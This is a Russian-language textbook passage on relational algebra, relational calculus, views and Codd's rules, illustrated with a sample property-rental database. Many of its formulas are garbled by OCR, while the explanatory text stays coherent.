Создайте список всех арендаторов, которые осматривали объекты недвижимо- . сти, с указанием сделанных ими комментариев.;
(П пю, f мае, lname (Renter)) х (Пгпо r pno # comment (Viewing))
Результаты выполнения этой операции показаны в табл. 3.11.•
Таблица 3.11. Декартово произведение сокращенного варианта отношений
Renter и Viewing (использованы только некоторые атрибуты)
Renter. Rno
FName
LName
Viewing. Rno
Pno
Comment
CR76
John
Kay
CR56
PA14
Too small (Слишком мала)
CR76
John
Kay
CR76
PG4
Too remote (Слишком далеко)
CR76
John
Kay
CR56
PG4
CR76
John
Kay
CR62
PA14
No Dining room
(Нет отдельной столовой)
CR76
John
Kay
CR56
PG36
CR56
Aline
Stewart
CR56
PA14
Too small (Слишком мала)
CR56
Aline
Stewart
CR76
PG4
Too remote (Слишком далеко)
CR56
Aline
Stewart
CR56
PG4
CR56
Aline
Stewart
CR62
PA14
No Dining room
(Нет отдельной столовой)
CR56
Aline
Stewart
CR56
PG36
CR74
Mike
Ritchie
CR56
PA14
Too small (Слишком мала)
CR74
Mike
Ritchie
CR76
PG4
Too remote (Слишком далеко)
CR74
Mike
Ritchie
CR56
PG4
CR74
Mike
Ritchie
CR62
PA14
No Dining room
(Нет отдельной столовой)
CR74
Mike
Ritchie
CR56
PG36
CR62
Mary
Tregear
CR56
PA14
Too small (Слишком мала)
CR62
Mary
Tregear
CR76
PG4
Too remote (Слишком далеко)
CR62
Mary
Tregear
CR56
PG4
CR62
Mary
Tregear
CR62
PA14
No Dining room
(Нет отдельной столовой)
CR62
Mary
Tregear
CR56
PG36
В таком виде это отношение содержит больше информации, чем необходимо. Например, первый кортеж этого отношения содержит разные значения атрибута Rno. Для получения искомого списка необходимо для этого отношения произвести операцию выборки с извлечением тех кортежей, для которых выполняется равенство Renter.Rno=Viewing.Rno. Полностью эта операция выглядит так, как показано ниже.
^renter. rno=viewinq. rno ( (^rno,fname,Iname(Renter) )X( Пгпо,рпо, comment (Viewing ) ) ),
Результат выполнения этой операции показан в табл. 3.12. Как мы вскоре увидим, комбинация декартового произведения и выборки может быть сведена к одной , операции соединения.
Таблица 3.12. Ограниченное декартово произведение сокращенного варианта отношений Renter и Viewing (использованы только некоторые атрибуты)
Renter.Rno
FName
LName
Viewing. Rno
Pno
Comment
CR76
John
Kay
CR76
PG4
Too remote (Слишком далеко)
CR56
Aline
Stewart
CR56
PA14
Too small (Слишком мала)
CR56
Aline
Stewart
CR56
PG4
CR56
Aline
Stewart
CR56
PG36
CR62
Mary
Tregear
CR62
PA14
No dining room (Нет отдельной столовой)
Объединение
RuSОбъединение отношений R и S с кортежами I и J соответственно мож
но получить в результате их конкатенации с образованием одного отношения с максимальным количеством кортежей (i+J), если кортежи-дубликаты исключены. При этом отношения R и S должны быть совместимы по объединению.
Объединение отношений возможно только в том случае, если совпадают их схемы, т.е. если они имеют одинаковое количество атрибутов с совпадающими доменами. Иначе говоря, отношения должны быть совместимы по объединению. Отметим, что в некоторых случаях для получения двух совместимых по объединению отношений может быть использована операция проекции.
Пример 3.4. Операция объединения
Создайте список всех районов, в которых имеется отделение компании или объект недвижимости.
Пагеа (Branch) иПагеа (Property_f or_Rent)
Для создания совместимых по объединению отношений сначала следует применить операцию проекции, чтобы выделить из отношений Branch и Ргор- erty_for_Rent столбцы с атрибутами Area, исключая в случае необходимости дуб- , ликаты. Затем для комбинирования полученных промежуточных отношений следует использовать операцию объединения. Результат выполнения всех этих действий приведен в табл. 3.13.
Таблица 3.13. Результат объединения двух отношений
Area
Sidcup
Dyce
Partick
Leigh
Dee
Kilburn
Hyndland
Разность
R-S
Разность двух отношений R и S состоит из кортежей, которые имеются в отношении R, но отсутствуют в отношении S. Причем отношения R и S должны быть совместимы по объединению.
Пример 3.5. Операция разности
Создайте список всех городов, в которых есть отделение компании, но нет объ- j ектов недвижимости, сдаваемых в аренду.|
ncitv (Branch) - Flcitv (Property__f or_Rent)*
В данном случае аналогично предыдущему примеру следует создать совместные по :
> объединению отношения Branch и Property_for_Rent, выполнив их проекцию по атрибу- ? ту City. Затем для комбинирования полученных новых отношений следует использо- | вать операцию разности. Результат выполнения этих операций показан в табл. 3.14.!
Таблица 3.14. Разность двух отношений!
City
Bristol
Операции соединения
Как правило, пользователей интересует лишь некоторая часть всех комбинаций кортежей декартового произведения, которая удовлетворяет заданному условию. Поэтому вместо декартового произведения обычно используется одна из самых важных операций реляционной алгебры — операция соединения. В результате ее выполнения на базе двух исходных отношений создается некоторое новое отношение. Операция соединения является производной от операции декартового произведения, так как она эквивалентна операции выборки из декартового произведения двух операндов- отношений тех кортежей, которые удовлетворяют условию, указанному в предикате соединения в качестве формулы выборки. С точки зрения эффективной реализации в реляционных СУБД, эта операция является одной из самых трудных и часто оказывается одной из основных причин, вызывающих проблемы с производительностью, свойственные всем реляционным системам.
Ниже перечислены различные типы операций соединения, которые несколько отличаются друг от друга и могут быть в той или иной степени полезны.
Тета-соединение (0-join).
Соединение по эквивалентности (equi-join), которое является частным видом тета-соединения.
Естественное соединение (natural join).
Внешнее соединение (outer join).
Полусоединение (semi-join).
Тета-соединение (0-join)
R Mf S Операция тета-соединения определяет отношение, которое содержит кортежи из декартового произведения отношений R и S, удовлетворяющие предикату F. Предикат F имеет вид R.aj0S.bi, где вместо О может быть указан один из операторов сравнения (<, <=, >, >=, = или ~=).
Обозначение тета-соединения можно переписать на основе базовых операций выборки и декартового произведения так, как показано ниже.
R xF S=Of(RxS)
Так же, как и в случае с декартовым произведением, степенью тета-соединения называется сумма степеней операндов-отношений R и S. Если предикат F содержит только оператор равенства (=), то соединение называется соединением по эквивалентности (equi-join). Еще раз обратимся к запросу, описанному в примере 3.3.
. Пример 3.6. Операция соединения по эквивалентности1
Создайте список всех арендаторов, которые осматривали объект недвижимости, с указанием их имен и сделанных ими комментариев.
В примере 3.3 для получения этого списка использовались операции декартового произведения и выборки. Однако тот же самый результат можно получить с помощью операции соединения по эквивалентности.
(ПГПо, fname, Iname (Renter)) ^renter. rno=viewinq. rno (ПГПо,рпо, comment (Slewing))
Результат этих операций показан в табл. 3.12.
Естественное соединение
R tx S Естественным соединением называется соединение по эквивалентности двух отношений R и S, выполненное по всем общим атрибутам х, из результатов которого исключается по одному экземпляру каждого общего атрибута.
Степенью естественного соединения называется сумма степеней операндов- отношений R и S минус количество атрибутов х.
Пример 3.7. Операция естественного соединения
Создайте список всех арендаторов, которые осматривали объекты недвижимости, с указанием их имен и сделанных ими комментариев.
В примере 3.6 для составления этого списка использовалось соединение по эквивалентности, но в нем присутствовало два атрибута Rno. Для удаления одного из этих атрибутов можно воспользоваться операцией естественного соединения.
(i^mo,fname,iname(Renter)) x (Пгпо рпо?commeDt(Viewing) )
Результат этих операций показан в табл. 3.15.
Таблица 3.15. Естественное соединение сокращенного варианта отношений Renter и Viewing (использованы только некоторые атрибуты)
Rno
FName
LName
Rno
Comment
CR76
John
Kay
PG4
Too remote (Слишком далеко)
CR56
Aline
Stewart
PA14
Too small (Слишком мала)
CR56
Aline
Stewart
PG4
CR56
Aline
Stewart
PG36
CR62
Mary
Tregear
PA14
No dining room (Нет отдельной столовой)
Внешнее соединение
Зачастую при соединении двух отношений кортеж из одного отношения не находит соответствующего кортежа в другом отношении. Иначе говоря, в столбцах соединения оказываются несовпадающие значения. Может потребоваться, чтобы строка из одного отношения была представлена в результате соединения, даже если в другом отношении нет совпадающего значения. Эта цель может быть достигнута с помощью внешнего соединения.
U --^5 Левым внешним соединением называется соединение, при котором кортежи отношения R, не имеющие совпадающих значений в общих столбцах отношения S, также включаются в результирующее отношение.
Для обозначения отсутствующих значений во втором отношении используется определитель NULL. Внешнее соединение становится все более распространенным в реляционных СУБД, к тому же в настоящее время оно является оператором, включенным в новый стандарт SQL (раздел 13.3.7). Преимуществом внешнего соединения является то, что при таком соединении сохраняется исходная информация, т.е. внешнее соединение сохраняет кортежи, которые были бы утрачены при использовании других типов соединения.
Пример 3.8. Левое внешнее соединение
J Создайте отчет о ходе проведения осмотров объектов недвижимости»
. В данном случае необходимо создать отношение, состоящее как из перечня осмотренных клиентами объектов недвижимости (с приведением их комментариев по < этому поводу), так и перечня объектов недвижимости, которые еще не осматривались. Это можно сделать с помощью следующего внешнего соединения.
ntn0,street,city(PropertyJor_Rent) zx (Viewing)
Результат этой операции показан в табл. 3.16.
Таблица 3.16. Внешнее соединение отношений Property_for_Rent и Viewing
Рпо
Sreet
City
Rno
Date
Comment
РА14
16 Hothead
Aberdeen
CR56
24-May-98
Too small (Слишком мала)
РА14
16 Hothead
Aberdeen
CR62
14-May-98
No Dining room (Нет отдельной столовой)
PL94
6 Argyll St
London
KULL
NULL
NULL
PG4
6 Lawrence St
Glasgow
CR76
20-Apr-98
Too remote (Слишком далеко)
PG4
6 Lawrence St
Glasgow
CR56
26-May-98
PG36
2 Manor Rd
Glasgow
CR56
28-Apr-98
Строго говоря, в примере 3.8 показано левое (естественное) внешнее соединение, поскольку в результирующем отношении содержатся все кортежи левого отношения. Существует также правое внешнее соединение, называемое так потому, что в результирующем отношении содержатся все кортежи правого отношения. Кроме того, существует и полное внешнее соединение, в результирующее отношение которого помещаются все кортежи из обоих отношений и в котором для обозначения несовпадающих значений кортежей используются определители NULL.
Полусоединение
R о? S Операция полусоединения определяет отношение, которое содержит те кортежи отношения R, которые входят в соединение отношений R и S.
Преимущество полусоединения заключается в том, что оно позволяет сократить количество кортежей, которые нужно обработать для получения соединения. Это особенно полезно при вычислении соединений в распределенных системах (разделы 19.4.2 и 20.7.2). Операцию полусоединения можно сформулировать и с помощью операторов проекции и соединения:
R t>p S=Пд(R о<3р S)
Здесь А — это набор всех атрибутов в отношении R. На самом деле это полутета- соединение, причем следует отметить, что существуют полусоединения по эквивалентности и полуестественные соединения.
Пример 3.9. Операция полусоединения
Создайте отчет, содержащий полную информацию обо всех сотрудниках, работающих в отделении компании, расположенном в районе 'Partick'.
Если нас интересуют только атрибуты отношения Staff, то в таком случае мы можем использовать следующую операцию полусоединения, которая приводит к созданию отношения, приведенного в табл. 3.17.
Staff >ataff.bno®branch.bno and branch.area * 'Partick' Branch
Таблица 3.17. Результат полусоединения отношений Staff и Branch
Sno
FName
LName
Address
Tel.No
Position
Sex
DOB
Salary
NIN
Bno
SG37
Ann
Beech
81 George St, Glasgow PA1 2JR
0141
848-3345
Snr Asst
F
10- Nov-
60
12000
WL43 2514 C
B3
SG14
David
Ford
63 Ashby St, Partick, Glasgow G11
0141
339-2177
Deputy
M
24- Mar-
58
18000
WL2 2065 8D
B3
SG5
Susan
Brand
5 Gt Western Rd
0141334-2001
Manager
F
3-
Jun- 40
24000
WK5 8893
2E
B3
Glasgow G12
Пересечение
R л S Операция пересечения определяет отношение, которое содержит кортежи, присутствующие как в отношении R, так и в отношении S. Отношения R и S должны быть совместны по объединению.
Пересечение можно сформулировать и на основе оператора разности множеств:
R n S=R-(R-S)
Деление
Оператор деления может быть полезен в случае запросов особого типа, которые довольно часто встречаются в приложениях баз данных. Предположим, что отношение R определено на множестве атрибутов А, а отношение S — на множестве атрибутов В, причем В с А (т.е. В является подмножеством А). Пусть С=А-В, т.е. С является множеством атрибутов отношения R, которые не являются атрибутами отношения S. Тогда определение оператора деления будет выглядеть следующим образом.
R 4- S Результатом оператора деления является набор кортежей отношения R, определенных на множестве атрибутов С, которые соответствуют комбинации всех кортежей отношения S.
Этот оператор можно сформулировать и на основе других основных операторов: Ti=nc(R)
^ncKSxTJ-R)
Т^-Тг
Пример 3.10. Операция деления отношений •
Создайте список всех арендаторов» которые осматривали объекты недвижимости с тремя комнатами.
Для решения поставленной задачи сначала следует с помощью оператора выборки выполнить поиск всех трехкомнатных объектов недвижимости (результат этой операции представлен в табл. 3.18), а затем посредством оператора проекции получить отношение, содержащее только номера объектов недвижимости и личные номера клиентов (результат этой операции представлен в табл. 3.19). После этого нужно применить приведенный ниже оператор деления и получить новое отношение, представленное в табл. 3.20.
(nr„o,pno(Viewing) )-*■( npno(Groons=3 (Property_for_Rent)))
Таблица 3.18. Результат применения к отношению Property_for_Rent
• операции выборки Прпо (arooms = 3 (Property_for_Rent))
Rno
PG36
Таблица 3.19. Результат применения операции проекции Пгпо,рпо( Viewing) к отношению Viewing
Rno
Рпо
CR56
РАИ
CR76
PG4
CR56
PG4
CR62
РАИ
CR56
PG36
■ Таблица 3.20. Результат применения операции деления к результатам двух предыдущих операций
Rno
CR56
Реляционное исчисление
В выражениях реляционной алгебры всегда явно задается некий порядок, а также подразумевается некая стратегия оценки запроса. В реляционном исчислении не существует никакого описания оценки запроса, поскольку в запросе реляционного исчисления указывается, что следует извлечь, а не как.
Реляционное исчисление никак не связано с дифференциальным и интегральным исчислениями в математике, а его название произошло от части символьной логики, которая называется исчислением предикатов. В контексте баз данных оно существует в двух формах: в форме предложенного Коддом реляционного исчисления кортежей и в форме предложенного Лакруа и Пиро реляционного исчисления доменов. Здесь мы не даем формального определения реляционного исчисления, а приводим лишь краткий его обзор. Более подробное рассмотрение этих вопросов заинтересованный читатель сможет найти в работах Ульмана (Ullman, 1988).
В логике первого порядка или теории исчисления предикатов под предикатом подразумевается истинностная функция с аргументами. При подстановке вместо аргументов значений функция становится выражением, называемым суждением, которое может быть истинным или ложным. Например, предложения “Джон Уайт является сотрудником данной организации” и “зарплата Джона Уайта выше, чем у Энн Бич” являются суждениями, поскольку можно определить их истинность или ложность. В первом случае функция “является сотрудником данной организации” имеет один аргумент (“Джон Уайт”), а во втором случае функция “зарплата выше” имеет два аргумента (“Джон Уайт” и “Энн Бич”).
Если предикат содержит переменную, например в виде “х является сотрудником этой организации”, то у этой переменной должна быть соответствующая область определения. При подстановке вместо переменной х одних значений из ее области определения данное суждение может оказаться истинным, а при подстановке других — ложным. Например, если областью определения являются все люди и мы подставим вместо переменной х значение “Джон Уайт”, то суждение “Джон Уайт является сотрудником данной организации” будет истинным. Если же вместо переменной х подставить имя другого человека, который не является сотрудником данной организации, то суждение будет ложным.
Если Р — предикат, то множество всех значений переменной х, при которых суждение Р становится истинным, можно символически записать следующим образом:
{х|Р(х)}
Предикаты могут соединяться с помощью логических операторов л (AND), v (OR) и - (NOT) с образованием составных предикатов.
Реляционное исчисление кортежей
В реляционном исчислении кортежей задача состоит в нахождении таких кортежей, для которых предикат является истинным. Это исчисление основано на переменных кортежа. Переменными кортежа являются такие переменные, областью определения которых является указанное отношение — т.е. переменные, для которых допустимыми значениями могут быть только кортежи данного отношения. (Понятие “область определения” в данном случае относится не к используемому диапазону значений, а к домену, на котором определены эти значения.)
Например, для указания отношения Staff в качестве области определения переменной кортежа S используется следующая форма записи:
RANGE OF S IS Staff
Кроме того, запрос “найти множество всех кортежей S, для которых P(S) является истинным” можно записать следующим образом:
(S|P(S))
Здесь предикат Р называется формулой, (в математической логике, правильно построенной формулой — well-formed formula, wff). Например, запрос “выбрать атрибуты Sno, FName, LName, Address, Tel_No, Position, Sex, DOB, Salary, NIN и Bno для всех сотрудников, которые получают зарплату больше 10 000 фунтов стерлингов” можно записать следующим образом:
RANGE OF S IS Staff
{S|S.salary>10000}
Здесь выражение S.salary означает значение атрибута Salary для кортежа S. Для выборки одного определенного атрибута (например, Salary), можно сформулировать этот запрос иначе:
RANGE OF S IS Staff-
(S.salary|S.salary>10000}
Для указания количества экземпляров, к которым должен быть применен предикат, в формулах могут использоваться два типа кванторов. Квантор существования (3), или так называемый символ “существует”, используется в формуле, которая должна быть истинной хотя бы для одного экземпляра, например:
RANGE OF В IS Branch
ЗВ (В.Bno=S.ВпоаВ.City='London')
. Эта формула означает, что в отношении Branch существует кортеж, который имеет такое же значение атрибута Впо, что и значение атрибута Впо в текущем кортеже S из отношения Staff, и атрибут City из кортежа В имеет значение 'London'. Квантор общности (V), или так называемый символ “для всех”, используется в выражениях, которые относятся ко всем экземплярам, например:
V В (В.City —'Paris')•
Эта формула означает, что во всех кортежах отношения Branch значение атрибута City не равно 'Paris'. Если правила эквивалентности применить в отношении логических операций, то ее можно переписать следующим образом:
~3 В (В.City ='Paris')
В таком виде она означает, что в Париже отделений компании нет.
Переменные кортежа называются свободными переменными, если они не квалифицируются кванторами V или 3, в противном случае они называются связанными переменными. Аналогично тому, как не все возможные последовательности букв алфавита образуют правильно построенные слова, так и в реляционном исчислении не каждая последовательность формул является допустимой. Допустимыми формулами могут быть только недвусмысленные и небессмысленные последовательности. Формула (или правильно построенная формула) в исчислении предикатов определяется следующими правилами.
Если Р является л-арной формулой (предикатом с л аргументами), а tlft2,... ,tn-— это константы или переменные, то выражение P(tI,t2/... ,tn) является правильно построенной формулой.
Если tT и t2 являются константами или переменными из одного домена, а 0 представляет собой один из операторов сравнения (<, <=, >, >=, = или ~=), то выражение tj0t2 является правильно построенной формулой.
Если выражения FI и F2 являются формулами, то их конъюнкция обозначается как F1aF2, дизъюнкция — как Р^Р2, а отрицание — как ~FP
Если выражение Fj является формулой со свободной переменной X, то выражения 3F(X) и VF(X) также являются формулами.
ПримерЗ. 11. Реляционное исчисление кортежей
Создайте список всех менеджеров, зарплата которых превышает 25000 фунтов стерлингов.
RANGE OF S IS Staff
(S.fname,S.Iname|S.Position2* Manager * aS.salary>25000)
Создайте список всех сотрудников, которые отвечают за работу с объектами недвижимости в Глазго.
RANGE OF S IS Staff
RANGE OF P IS Property for Rent
{S13P(P.sno=S.sboaP.city=1 Glasgow')}
Атрибут Sno в отношении Property_for_Rent содержит номер того сотрудника, который отвечает за работу с данным объектом недвижимости. Этот запрос можно сформулировать иначе: “Для всех сотрудников, данные о которых нужно привести в списке, в отношении Property_for_Rent имеются кортежи, соответствующие этим сотрудникам, - причем значение атрибута City в каждом таком кортеже равно 'Glasgow'”.
Обратите внимание, что в такой формулировке запроса нет никакого указания стратегии выполнения запроса — СУБД предоставляется свобода выбора операций для - выполнения данного задания, а также порядка выполнения этих операций. Эквивалентная формулировка этого запроса в реляционной алгебре будет выглядеть так: “Выбрать такие кортежи отношения Property_for_Rent, в которых значение атрибута City равно 'Glasgow', и выполнить их объединение с отношением Staff”. Как видите, здесь порядок выполнения операций задается неявно, но вполне однозначно.
Создайте список всех сотрудников, которые в данный момент не работают с объектами недвижимости.
RANGE OF S IS Staff
RANGE OF P IS Property for Rent
{S.fname,S.Iname|~(3P(S.sno=P.sno))}
Используя правила эквивалентности логических операций это выражение можно переписать так:
{S.fname,S.Iname| VP(~(S.sno=P.sno))}
Создайте список всех клиентов, осматривавших объекты недвижимости в городе Глазго, с указанием их имен и комментариев, сделанных по поводу проведенного осмотра.
RANGE OF R IS Renter
RANGE OF V IS Viewing
RANGE OF P IS Property for Rent
{R.fname,R.Iname,V.comment|3V(R.rno=V.rno)a
3(V.pno=P.pnoAP.city2'Glasgow')}
Прежде чем завершить этот раздел отметим, что выражение реляционного исчисления может генерировать бесконечную последовательность кортежей. Мы избежали возникновения этой проблемы благодаря использованию переменных области определения, которые задаются с помощью оператора RANGE. Некоторые разработчики вместо использования этого оператора предпочитают явно указывать область определения внутри формулы. В таком случае можно задать бесконечное множество кортежей, например, следующим образом:
{S|-(Se Staff)}
Это выражение означает набор кортежей, которые не входят в отношение Staff. Выражения подобного типа называются опасными. Чтобы избежать их возникновения, следует добавить ограничение, требующее, чтобы все результирующие значения входили в область определения формулы. Например, областью определения приведенной выше формулы является множество всех значений, которые представлены в отношении Staff. Более подробную информацию по этому вопросу заинтересованный читатель найдет в работе Ульмана (Ullman, 1988).
Реляционное исчисление доменов
В реляционном исчислении доменов используются переменные, значения которых берутся из доменов, а не из кортежей отношений. Если P(dl,d2,... ,dn) обозначает предикат с переменными dlfd2,...,dn, то множество всех переменных домена dlfd2,.. .,dn, для которых предикат или формула P(dl ,d2,..., dn) истинны, обозначается следующим выражением:
{d1,d2,...,dn|P(d1,d2,...,dn)}
В реляционном исчислении доменов зачастую требуется проверить условие принадлежности, чтобы определить, принадлежат ли значения указанному отношению. Выражение Н(х,у) считается истинным тогда и только тогда, когда в отношении R имеется кортеж со значениями х и у в двух его атрибутах.
Пример 3.12. Реляционное исчисление доменов
Найдите имена всех менеджеров, зарплата которых превышает 25000 фунтов стерлингов.
{fname,Iname | 3 position, 3 salary
(Staff(Iname, position, salary) л position = 'Manager' л salary>25000)}
Если сравнить этот запрос с эквивалентным запросом реляционного исчисления кортежей, приведенным в примере 3.11, А, то можно увидеть, что каждому атрибуту присвоено имя (переменной). Условие Staff(Iname, position, salary) гарантирует, что переменные домена LName, Position и Salary будут ограничены атрибутами того же самого кортежа. Поэтому мы можем использовать формулу Position = 'Manager' вместо формулы Staff .Position = 'Manager'.
Создайте список всех сотрудников, которые отвечают за работу с объектами недвижимости в Глазго.
{fname, Iname | 3 sno Staff(sno, fname, Iname) a
3 city (Property for Hent(pno, sno)AP.city = 'Glasgow')}
Эти запросы безопасны, и, если реляционное исчисление доменов ограничивается только такими выражениями, оно эквивалентно реляционному исчислению кортежей, ограниченному только безопасными выражениями, которое, в свою очередь, эквивалентно реляционной алгебре. Это значит, что для каждого выражения реляционной алгебры существует эквивалентное выражение реляционного исчисления, а для каждого выражения реляционного исчисления доменов или кортежей существует эквивалентное выражение реляционной алгебры.
Другие языки
Несмотря на то что реляционное исчисление является достаточно сложным с точки зрения освоения и использования, тем не менее его непроцедурная природа считается весьма перспективной и это стимулирует поиск других, более простых в употреблении непроцедурных методов. Подобные исследования вызвали появление двух других категорий реляционных языков: языков на основе преобразований и графических языков.
Языки на основе преобразований являются классом непроцедурных языков, которые используют отношения для преобразования исходных данных к требуемому виду. Эти языки предоставляют простые в употреблении структуры для формулирования требуемого результата имеющимися средствами. Примерами языков на основе преобразований являются язык SQUARE, язык SEQUEL и его ответвление — язык SQL. Более подробно язык SQL рассматривается в главах 13, “Язык SQL”, и 14, “Дополнительные средства языка SQL”.
Графические языки предоставляют пользователю рисунок или другое графическое отображение структуры отношения. Пользователь создает некий образец желаемого результата, и система возвращает затребованные данные в указанном формате. При^ мером подобного языка является язык QBE (Query-By-Example). Его возможности будут продемонстрированы в главе 15, “Язык QBE”.
Еще одной категорией языков являются языки четвертого поколения (fourth-generation languages — 4GL), которые позволяют создавать полностью готовое и соответствующее требованиям заказчика прикладное приложение с помощью ограниченного набора команд и в то же время предоставляют дружественную по отношению к пользователю среду разработки, чате всего построенную на использовании команд меню (см. раздел 2.2). В некоторых системах используются даже некоторые разновидности естественного языка, т.е. ограниченной версии обычного английского языка, который иногда называется языком пятого поколения (fifth-generation language — 5GL). Однако разработки проектов подобных языков по большей части все еще находятся в зачаточном состоянии.
Представления
В главе 2, “Среда базы данных”, при рассмотрении трехуровневой архитектуры ANSI- SPARC внешнее представление описывалось как структура базы данных с точки зрения отдельного пользователя. В реляционной модели слово “представление” (view) имеет несколько другое значение. Оно характеризует не всю внешнюю модель пользователя, а лишь некое используемое им виртуальное отношение (virtual relation), т.е. отношение, которого на самом деле само по себе не существует, но которое динамически воспроизводится на основании одного или нескольких базовых отношений (отношений, реально существующих в базе данных). Представление может быть построено на базе выполнения таких операций реляционной алгебры, как выборка, проекция, соединение, либо на основе других операций со значениями из реально существующих базовых отношений. Таким образом, внешняя модель может состоять одновременно как из базовых (на концептуальном уровне) отношений, так и из представлений, воспроизводимых на основе этих базовых отношений. В этом разделе рассматриваются именно такие виртуальные отношения, или представления, являющиеся типичным элементом реляционных систем.
Терминология
Те отношения, с которыми мы имели дело до сих пор, называются базовыми отношениями.
Базовое
Поименованное отношение, соответствующее сущности в концеп
отношение
туальной схеме, кортежи которого физически хранятся в базе данных.
Понятие представления определяется на основе базовых отношений.
Представление Это динамический результат одной или нескольких реляционных операций над базовыми отношениями с целью создания некоторого иного отношения. Представление является виртуальным отношением, которого реально в базе данных не существует, но которое создается по требованию отдельного пользователя в момент поступления этого требования.
С точки зрения пользователя представление является отношением, которое постоянно существует и с которым можно работать точно так же, как с базовым отношением. Однако представление не хранится в базе данных так, как базовые отношения (хотя его определение хранится в системном каталоге). Содержимое представления определяется как результат выполнения запроса к одному или нескольким базовым отношениям. Любые операции над представлением автоматически транслируются в операции над отношениями, на основании которых оно было создано. Представления имеют динамическую природу, т.е. изменения в базовых отношениях, которые могут повлиять на содержимое представления, немедленно отражаются на содержимом этого представления. Если пользователи вносят в представление некоторые допустимые изменения, эти изменения немедленно заносятся в базовые отношения представления. В данном разделе описывается предназначение представлений и кратко рассматриваются ограничения на обновление данных, осуществляемое через представления. Более подробно способы определения и работы с представлениями описываются в разделе 14.1.
Назначение представлений
Механизм представлений может использоваться по нескольким причинам.
Он предоставляет мощный и гибкий механизм защиты за счет сокрытия некоторых частей базы данных от определенных пользователей. Пользователь не будет иметь никаких сведений о существовании каких-либо атрибутов или кортежей, отсутствующих в доступных ему представлениях.
Он позволяет организовать доступ пользователей к данным наиболее удобным для них образом, поэтому одни и те же данные в одно и то же время могут рассматриваться разными пользователями совершенно отличными способами.
Он позволяет упрощать сложные операции с базовыми отношениями. Например, если представление будет определено на основе соединении двух отношений, то пользователь сможет выполнять над ним простые унарные операции выборки и проекции, которые будут автоматически преобразованы средствами СУБД в эквивалентные операции с выполнением соединения базовых отношений.
Представление следует проектировать, выбирая такой способ поддержки внешней модели, который был бы наиболее удобен пользователю. Ниже приведены примеры применения подобного подхода на практике.
При работе с записями отношения Branch пользователям, помимо различных атрибутов из записей этого отношения, может потребоваться выбирать имена и другие сведения о соответствующих менеджерах. Подобное представление создается путем соединения отношений Branch и Staff с последующей его проекцией по интересующим атрибутам.
Большинство пользователей при работе с записями отношения Staff не должны иметь доступа к атрибуту Salary. Для создания представления, которой не содержит атрибута Salary, можно применить операцию проекции.
Атрибуты могут переименовываться, так что пользователь, который привык использовать для номеров отделений (атрибут Впо) их полное название (Branch Number), сможет использовать это имя в качестве заголовка столбца. При этом порядок расположения столбцов может быть изменен так, что данный столбец будет располагаться в представлении не первым, а последним.
Каждому сотруднику может быть предоставлено право просматривать записи с характеристиками только тех объектов недвижимости, за которые он отвечает. В этом случае операции выборки будут выполняться таким образом, что отдельным пользователям будет доступно только определенное горизонтальное подмножество отношения Property_for_Rent.
Все эти примеры демонстрируют определенную степень логической независимости от данных, достигаемой за счет использования представлений (см. раздел 2.1.5). Однако на самом деле представления позволяют добиться и более важного типа логической независимости от данных, связанной с изоляцией пользователей от реорганизаций концептуальной схемы. Если в отношение будет добавлен новый атрибут, то уже существующие пользователи не будут даже подозревать о его существовании, пока определения их представлений не будут включать этого атрибута. Если существующее отношение реорганизовано или разбито на части, то использующее его представление может быть переопределено так, чтобы пользователи могли продолжать работать с данными в прежнем формате. В случае разбиения отношения, исходное состояние может быть виртуально восстановлено путем определения представления на основе объединения новых отношений (при условии, что это разбиение выполнено таким образом, что исходное состояние может быть восстановлено — для этого достаточно поместить первичный ключ в оба новых отношения). Например, пусть отношение Renter в исходном состоянии имеет такой вид:
Renter(Rno, FName, LName, Address, Tel_No, Pref_Type, Max_Rent, Bno)
Мы можем преобразовать его в следующих два отношения:
Renter_Details(Rno, FName, LName, Address, Tel_No, Bno)
Renter_Reqts(Rno, Pref_Type, Max_Rent)
При этом пользователи и приложения смогут по-прежнему осуществлять доступ к данным, используя структуру старого отношения, если она будет восстановлена посредством определения представления Renter в виде естественного объединения отношений Renter_Details и Renter_Reqts по атрибуту Rno.
Обновление представлений
Все обновления данных в базовом отношении должны быть немедленно отражены во всех представлениях, связанных с этим базовым отношением. Аналогично, при обновлении данных в представлении внесенные изменения должны быть отражены в его базовом отношении. Однако на типы изменений, которые могут быть выполнены с помощью представлений, накладываются определенные ограничения. Ниже перечислены условия, которые большинство существующих систем использует для проверки допустимости обновления данных через некоторое представление.
Обновления допускаются через представление, которое определено на основе простого запроса к единственному базовому отношению и содержит первичный или потенциальный ключ этого базового отношения.
Обновления не допускаются в любых представлениях, определенных на базе нескольких базовых отношений.
Обновления не допускаются в любых представлениях, включающих выполнение операций обобщения или группирования.
Представления принято делить на следующие классы: теоретически необновляемые, теоретически обновляемые и частично обновляемые. Более подробно представления рассматриваются в разделе 14.1.
Когда СУБД можно считать реляционной
Как уже упоминалось в разделе 3.1 существует несколько сотен реляционных СУБД для мейнфреймов и персональных компьютеров. К сожалению, некоторые из них, строго говоря, не соответствуют определению реляционной модели. В частности, некоторые поставщики традиционных вариантов СУБД, основанных на сетевой и иерархической моделях данных, реализуют в своих продуктах только некоторые черты реляционных систем, чтобы иметь основания заявить об их принадлежности к реля-
ционным системам. Озабоченный тем, что потенциальные возможности и смысл реляционного подхода искажаются, Кодд (Codd, 1985) предложил 12 правил определения реляционных систем (а точнее 13, если учитывать фундаментальное правило 0). Эти правила образуют своего рода эталон, по которому можно определить принадлежность СУБД к разряду действительно реляционных систем.
На протяжении многих лет предложенные Коддом правила вызывали массу нареканий у заинтересованных лиц и специалистов. Одни сочли их не более чем чисто теоретическими упражнениями. Другие заявили, что их продукты уже удовлетворяют многим этим правилам, если не всем. Эта дискуссия способствовала росту понимания пользователями и сообществом разработчиков СУБД важнейших свойств действительно реляционных СУБД. Чтобы подчеркнуть особое значение этих правил, мы разделили их на пять функциональных групп.
Фундаментальные правила.
Структурные правила.
Правила целостности.
Правила управления данными.
Правила независимости от данных.
Фундаментальные правила (правила 0 и 12)
Образно выражаясь, правила 0 и 12 являются “лакмусовой бумажкой”, которая позволяет определить принадлежность системы к реляционным СУБД. Если система на удовлетворяет этим правилам, то ее не следует считать реляционной.
Правило 0 - фундаментальное правило1
Любая система, которая рекламируется или представляется как реляционная СУБД, должна быть способна управлять базами данных исключительно с помощью ее реляционных функций.
Это правило означает, что СУБД не должна прибегать к любым не реляционным операциям для выполнения таких видов работ, как определение данных и манипулирование ими.
Правило 12- правило запрета обходных путей
Если реляционная система имеет низкоуровневый язык (с последовательной построчной обработкой), он не может быть использован для отмены или обхода правил и ограничений целостности, составленных на реляционном языке более высокого уровня (с обработкой сразу нескольких строк).
